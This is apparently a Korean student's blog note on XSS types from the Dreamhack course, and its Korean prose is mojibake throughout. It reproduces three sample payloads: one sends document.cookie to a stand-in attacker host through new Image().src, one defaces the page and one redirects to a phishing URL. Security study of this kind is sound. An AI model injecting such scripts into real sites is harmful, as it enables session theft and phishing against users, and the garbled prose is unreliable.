Cross-Site Scripting (XSS)
XSS ๊ณต๊ฒฉ์ ์ด์ฉ์๊ฐ ์ฝ์ ํ ๋ด์ฉ์ ์ถ๋ ฅํ๋ ๊ธฐ๋ฅ์์ ๋ฐ์ํ๋ค.
Stored XSS
|
XSS์ ์ฌ์ฉ๋๋ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ์ ์ ์ฅ๋๊ณ ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ค๋ XSS
|
Reflected XSS
|
XSS์ ์ฌ์ฉ๋๋ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL์ ์ฝ์
๋๊ณ ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ค๋ XSS
|
DOM-based XSS
|
XSS์ ์ฌ์ฉ๋๋ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL Fragment์ ์ฝ์
๋๋ XSS
|
Universal XSS
|
ํด๋ผ์ด์ธํธ์ ๋ธ๋ผ์ฐ์ ํน์ ๋ธ๋ผ์ฐ์ ์ ํ๋ฌ๊ทธ์ธ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ผ๋ก SOP ์ ์ฑ
์ ์ฐํํ๋ XSS
|
์๋๋ ๋๋ฆผํต ClientSide: XSS ๋ด์ฉ ์ค์์ ์์๋ก ๋์จ ์ธ ๊ฐ์ง ์ฝ๋์ธ๋ฐ ๋ชฐ๋๋ ๋ด์ฉ์ ์๋์ ๊ฐ๋ตํ ๋ฉ๋ชจํด๋๋ค.
1) ์ฟ ํค ๋ฐ ์ธ์ ํ์ทจ ๊ณต๊ฒฉ ์ฝ๋
: new Image().src๋ฅผ ํ๋ฉด ๋ธ๋ผ์ฐ์ ์์ ์๋์ผ๋ก ์์ฑํ src๋ก ์์ฒญ์ ํ๋ค.
<script>
// "hello" ๋ฌธ์์ด alert ์คํ.
alert("hello");
// ํ์ฌ ํ์ด์ง์ ์ฟ ํค(return type: string)
document.cookie;
// ํ์ฌ ํ์ด์ง์ ์ฟ ํค๋ฅผ ์ธ์๋ก ๊ฐ์ง alert ์คํ.
alert(document.cookie);
// ์ฟ ํค ์์ฑ(key: name, value: test)
document.cookie = "name=test;";
// new Image() ๋ ์ด๋ฏธ์ง๋ฅผ ์์ฑํ๋ ํจ์์ด๋ฉฐ, src๋ ์ด๋ฏธ์ง์ ์ฃผ์๋ฅผ ์ง์ . ๊ณต๊ฒฉ์ ์ฃผ์๋ http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=ํ์ฌํ์ด์ง์์ฟ ํค" ์ฃผ์๋ฅผ ์์ฒญํ๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์ ์ฃผ์๋ก ํ์ฌ ํ์ด์ง์ ์ฟ ํค ์์ฒญํจ
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
2) ํ์ด์ง ๋ณ์กฐ ๊ณต๊ฒฉ ์ฝ๋
<script>
// ์ด์ฉ์์ ํ์ด์ง ์ ๋ณด์ ์ ๊ทผ.
document;
// ์ด์ฉ์์ ํ์ด์ง์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
.
document.write("Hacked By DreamHack !");
</script>
3) ์์น ์ด๋ ๊ณต๊ฒฉ ์ฝ๋
: location.href๋ ํ์ฌ ๋ธ๋ผ์ฐ์ ์ URL์ ๊ฐ์ ธ์ค๊ฑฐ๋ ๋ณ๊ฒฝํ๋ ํ๋กํผํฐ (๋ฆฌ๋๋ ์ )
<script>
// ์ด์ฉ์์ ์์น๋ฅผ ๋ณ๊ฒฝ.
// ํผ์ฑ ๊ณต๊ฒฉ ๋ฑ์ผ๋ก ์ฌ์ฉ๋จ.
location.href = "http://hacker.dreamhack.io/phishing";
// ์ ์ฐฝ ์ด๊ธฐ
window.open("http://hacker.dreamhack.io/")
</script>
Cross-Site Scripting (XSS)์ ๋ ๊ฐ์ง ์ข ๋ฅ
- Stored XSS: ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ ๋ด์ ์กด์ฌ, ์ด์ฉ์๊ฐ ์ ์ฅ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์กฐํํ ๋ ๋ฐ์
- Reflected XSS: ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ด์ฉ์ ์์ฒญ ๋ด์ ์กด์ฌ, ์ด์ฉ์๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ์์ฒญ์ ๋ณด๋ธ ํ ์๋ต์ ์ถ๋ ฅํ ๋ ๋ฐ์
'๐ธ๏ธ ์น ํดํน' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[wargame] ๋๋ฆผํต xss-2 ๋ฌธ์ ํ์ด (0) | 2025.03.06 |
---|---|
[wargame] ๋๋ฆผํต xss-1 ๋ฌธ์ ํ์ด (0) | 2025.03.06 |
์น ๋ธ๋ผ์ฐ์ ๋ณด์ ์ ์ฑ SOP, CORS, JSONP ๊ฐ๋ ์ ๋ฆฌ (0) | 2025.03.05 |
[wargame] Dreamhack ๋ฌธ์ ํ์ด: session-basic (0) | 2025.03.05 |
[wargame] ๋๋ฆผํต beginner cookie ๋ฌธ์ ํ์ด (0) | 2025.03.03 |